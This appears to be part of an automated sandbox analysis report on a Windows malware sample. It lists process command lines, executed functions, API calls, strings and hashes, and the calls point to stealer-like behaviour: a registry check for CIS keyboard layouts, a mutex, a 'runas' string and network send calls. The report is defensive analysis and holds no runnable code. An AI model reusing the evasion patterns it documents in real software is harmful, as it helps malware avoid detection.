Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4920 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:51:38
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4812 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.9%
Total number of Nodes:	562
Total number of Limit Nodes:	23

Executed Functions

Function 006AAA09 Relevance: 48.8, APIs: 24, Strings: 3, Instructions: 1503
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryA.KERNEL32(00000000,882874E3,00000000), ref: 006AAA0C

Strings

VUUU, xrefs: 006AAF82
h-p, xrefs: 006AAA50
@3P, xrefs: 006AB921

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CurrentDirectory
String ID: @3P$VUUU$h-p
API String ID: 1611563598-3212752153
Opcode ID: 8f67c4b3cf258be032ce65374d475a27f4a52c7d349afad6b2ff7aa950f24f96
Instruction ID: e82c7b1cfb53f4d0075e8aec9624582b93098c418562d132709bfcf04fe616f2
Opcode Fuzzy Hash: 8f67c4b3cf258be032ce65374d475a27f4a52c7d349afad6b2ff7aa950f24f96
Instruction Fuzzy Hash: 6BC2D471A002189FDB18EF68CC89BDDB7B6EF46304F50819DE409AB292DB359E84CF55

Function 006A9A00 Relevance: 30.4, APIs: 16, Strings: 1, Instructions: 668COMMON

Download Yara Rule

APIs

Part of subcall function 006A8B30: GetTempPathA.KERNEL32(00000104,?,882874E3,?,00000000), ref: 006A8B77

GetFileAttributesA.KERNEL32(00000000), ref: 006A9A73

Strings

T2p, xrefs: 006AA970

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AttributesFilePathTemp
String ID: T2p
API String ID: 3199926297-696351283
Opcode ID: ecedc5ee9cb0cb42cabf6bfb94b7c5140cc68e2325149fb631b1676289c50dcb
Instruction ID: 046b09142e5941abe9fbea33b85ccff521a9232d496200bab67a135e1058dc5e
Opcode Fuzzy Hash: ecedc5ee9cb0cb42cabf6bfb94b7c5140cc68e2325149fb631b1676289c50dcb
Instruction Fuzzy Hash: 9C42BE70A10248DBEB14EBA8C9497DEBBB3AF06314F244649D411673C2DBB54E85CBA6

Function 006A7D30 Relevance: 7.9, APIs: 5, Instructions: 422
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,882874E3), ref: 006A7DAA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006A7E0B
GetProcAddress.KERNEL32(00000000), ref: 006A7E12
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006A7ED3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006A7ED7

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID:
API String ID: 374719553-0
Opcode ID: 601848573543c77590847921cc73081fb729dc2b18d48824f7632a0f190f916c
Instruction ID: e383506ad9d405153ed1fcbcf2f936a62e7f68f88414fb578a205f15604e3c07
Opcode Fuzzy Hash: 601848573543c77590847921cc73081fb729dc2b18d48824f7632a0f190f916c
Instruction Fuzzy Hash: 10E1E6B1E00644DBDB54FB68CC5B3AD7B63AB42720F94428CE4166B3C2DB355E818BD6

Function 006D652B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,006D652A,?,?,?,?,?,006D7661), ref: 006D654D
TerminateProcess.KERNEL32(00000000,?,006D652A,?,?,?,?,?,006D7661), ref: 006D6554
ExitProcess.KERNEL32 ref: 006D6566

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 7b61db07502d4ab7272456a0329d6aee3f6f8ecfb65eed700537ac0e1b44b8bf
Instruction ID: 7134103fb886ce21201c01c81ef707a4e6ac0b40827da5801fcba97b48aa59ee
Opcode Fuzzy Hash: 7b61db07502d4ab7272456a0329d6aee3f6f8ecfb65eed700537ac0e1b44b8bf
Instruction Fuzzy Hash: A6E0EC31400248EFDF51AF98ED0D9A83B6BFB40742B004415F90986336CB36DED2CB95

Function 006AB1A0 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006AB1ED

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1bc71893aea19004907915d159bef54121aa22a7b58be7e8ed8aa952e10ff0be
Instruction ID: 2a4012c09514ac4db0f81caafe2bf99c53468ec3b1024f40cf4230aa50ee2c31
Opcode Fuzzy Hash: 1bc71893aea19004907915d159bef54121aa22a7b58be7e8ed8aa952e10ff0be
Instruction Fuzzy Hash: F821FCB191016CDFDB2ADF14CD65BEAB7B8FB19704F0042D9A50A63281DB755B88CFA0

Function 006A5C10 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 006A6054
00000423, xrefs: 006A60FA
0000043f, xrefs: 006A612B
00000422, xrefs: 006A60C9
00000419, xrefs: 006A6098

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 671d24f8d05f607eacd36a29907f1d7bf6968e869195c93a1521f0f084dbba40
Instruction ID: d10d27fab4ad14ad671b8852a202a0608f8f1a0dc97c9372715289b5ee4ef3e2
Opcode Fuzzy Hash: 671d24f8d05f607eacd36a29907f1d7bf6968e869195c93a1521f0f084dbba40
Instruction Fuzzy Hash: 57F1B1B09002589FEB24DF54CC85BEEBBBAEF45304F504299F509A7282DB749E84CF95

Function 006E1ABC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006E1775: CreateFileW.KERNELBASE(00000000,00000000,?,006E1B65,?,?,00000000,?,006E1B65,00000000,0000000C), ref: 006E1792

GetLastError.KERNEL32 ref: 006E1BD0
__dosmaperr.LIBCMT ref: 006E1BD7
GetFileType.KERNELBASE(00000000), ref: 006E1BE3
GetLastError.KERNEL32 ref: 006E1BED
__dosmaperr.LIBCMT ref: 006E1BF6
CloseHandle.KERNEL32(00000000), ref: 006E1C16
CloseHandle.KERNEL32(006DAC92), ref: 006E1D63
GetLastError.KERNEL32 ref: 006E1D95
__dosmaperr.LIBCMT ref: 006E1D9C

Strings

H, xrefs: 006E1D21

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 798fcaaf0017ce671f4cae84be81e3db3304066b9170936415945c2248530014
Instruction ID: 3878cc6ef5a5b58b61bef64e003987789457bbabbce30e4147af7af9a03deefc
Opcode Fuzzy Hash: 798fcaaf0017ce671f4cae84be81e3db3304066b9170936415945c2248530014
Instruction Fuzzy Hash: B8A1F632A052889FCF199F68DC51BAD7BB2AB07320F24425DF811DF391EB358912DB56

Function 006AD79C Relevance: 13.9, APIs: 9, Instructions: 446
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 006AD913
CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 006ADA2F
send.WS2_32(?,?,00000004,00000000), ref: 006ADC2E
send.WS2_32(?,?,00000008,00000000), ref: 006ADC6A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: send$CreateDirectoryFileModuleName
String ID:
API String ID: 2319890793-0
Opcode ID: 59655e44c88170df09d08bb07462e914e38b1f9c7252d726ee57551b0d135ec4
Instruction ID: 026ab2a388383208f535e016c70772ee23445fac05e93592eef80030e13e384e
Opcode Fuzzy Hash: 59655e44c88170df09d08bb07462e914e38b1f9c7252d726ee57551b0d135ec4
Instruction Fuzzy Hash: 28F1C471D042189BDB24EB28CC49BEDB776AF46310F1042D9E44AA7282EB759EC4CF55

Function 006ADACC Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85fb2bb0e8f8511db6712e7a379f0ec6d0ec613fac1bf39ed953e942d3df1deb
Instruction ID: b2cf0dfcbe8840ad7ebec660baa90d35e975681c36b1e242ce09363b01734957
Opcode Fuzzy Hash: 85fb2bb0e8f8511db6712e7a379f0ec6d0ec613fac1bf39ed953e942d3df1deb
Instruction Fuzzy Hash: 5D41D4B2A001149BDB18DB78CC85BAEB7B6EF45324F10476DE816E73D1EA709E40CB58

Function 006A77B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 006A7A79

Strings

runas, xrefs: 006A7303

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: c345811e5fdd07bc7b73412f284af6d426334c3712d5dfdcffa93ab21b30f038
Instruction ID: 3cd4cb4b5eb9a3c2da3f87176ce5fa9a62f8405226a3355977524f1d74ca12d8
Opcode Fuzzy Hash: c345811e5fdd07bc7b73412f284af6d426334c3712d5dfdcffa93ab21b30f038
Instruction Fuzzy Hash: 0CE107B1A14144ABDB08FB68CD86B9D7B67EF42314F50825CF405AB3C6DB359E80CB95

Function 006AC3A6 Relevance: 3.5, APIs: 2, Instructions: 532
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006B7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 006B7AF8
Part of subcall function 006B7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 006B7B01

Sleep.KERNEL32(000003E8), ref: 006AC7F9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situSleep
String ID:
API String ID: 113500496-0
Opcode ID: 68276425718be5ef992ec284ccc9f980cc0df68d961bd6e9f50f7a6984114882
Instruction ID: a93c873fb891c4a7d164bf90bcbe1720c7d3e960e98e435ea7d45ed1bb66c767
Opcode Fuzzy Hash: 68276425718be5ef992ec284ccc9f980cc0df68d961bd6e9f50f7a6984114882
Instruction Fuzzy Hash: D212C071A001089FDB04EF68C885BEDBBB6EF4A314F54425DF815A7282EB35DA84CF95

Function 006B6D30 Relevance: 3.0, APIs: 2, Instructions: 23
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006A9A00: Sleep.KERNELBASE(00000064), ref: 006AA963
Part of subcall function 006A9A00: CreateMutexA.KERNELBASE(00000000,00000000,00703254), ref: 006AA981
Part of subcall function 006A9A00: GetLastError.KERNEL32 ref: 006AA989
Part of subcall function 006A9A00: GetLastError.KERNEL32 ref: 006AA99A

Part of subcall function 006A5C10: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 006A617D

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 006B6D10
Sleep.KERNEL32(00007530), ref: 006B6D25

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CreateErrorLastSleep$MutexOpenThread
String ID:
API String ID: 2377761554-0
Opcode ID: 3e29a2ca0c75af2f220c3f69f33cb04df40456d4ea7100b5defa2a1f76c5b364
Instruction ID: 863f10c6874ba335f756bef780c2aa390761864155404e2931787d23150e1771
Opcode Fuzzy Hash: 3e29a2ca0c75af2f220c3f69f33cb04df40456d4ea7100b5defa2a1f76c5b364
Instruction Fuzzy Hash: 3DE0867139470466E39037F09C0BFA979179F0AB10F240118B2592A1D3DED438808BAF

Function 006AD159 Relevance: 1.9, APIs: 1, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 006AD167

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 1ecc346d6939a0df76a11dd555d8a126a1088a3c3cf8745d9b8cd96025c932dd
Instruction ID: b25f1bd1e002c90d68699238f314cc9bb834e5af2646f8b5045d0aa0bc309bad
Opcode Fuzzy Hash: 1ecc346d6939a0df76a11dd555d8a126a1088a3c3cf8745d9b8cd96025c932dd
Instruction Fuzzy Hash: DBE1D171A002549BEB19EB28CC497DDBB72AB86304F1482CCE4096B782DB759FC5CF95

Function 006AD6D0 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a16794b2d99212ff12474927012a94cb82bf99ecbc57343c49c85f817c232c
Instruction ID: ddc896260660a9da593b0170311bf40b6e5ea20c0266660a86c868e2d7717751
Opcode Fuzzy Hash: e5a16794b2d99212ff12474927012a94cb82bf99ecbc57343c49c85f817c232c
Instruction Fuzzy Hash: BB51CC709042589FEB24EB28CC88BDEBBB6AB46304F5041D9D44967282DB755FC8CF91

Function 006AC8E0 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec44ea5e6090504ffdae23326434b1372e16725b45fade30a7e26d1cc957ec2
Instruction ID: 38026bf42a78e096e59b3004b39d994e2c4dc176ba576de7c18613a0a2c9b49f
Opcode Fuzzy Hash: 2ec44ea5e6090504ffdae23326434b1372e16725b45fade30a7e26d1cc957ec2
Instruction Fuzzy Hash: 1C319D7161024CAFDB04DF68C985BEEBBB6FF49314F50421AF805A7381EB759A80CB94

Function 006DAC53 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 006DAC8D

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c92fb5e2ca8709b312e4a4ca6981ea9eea397ee2944973739dab57e75d9b66ad
Instruction ID: ce27bb65d2f165612dfea965859fa19ffe0235ac7553010928bb80996351236f
Opcode Fuzzy Hash: c92fb5e2ca8709b312e4a4ca6981ea9eea397ee2944973739dab57e75d9b66ad
Instruction Fuzzy Hash: EC111871A0420AAFCF05DF99E94199B7BF5EF48314F04406AF805AB351D630DD21DB65

Function 006E1A2E Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006E1A91

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
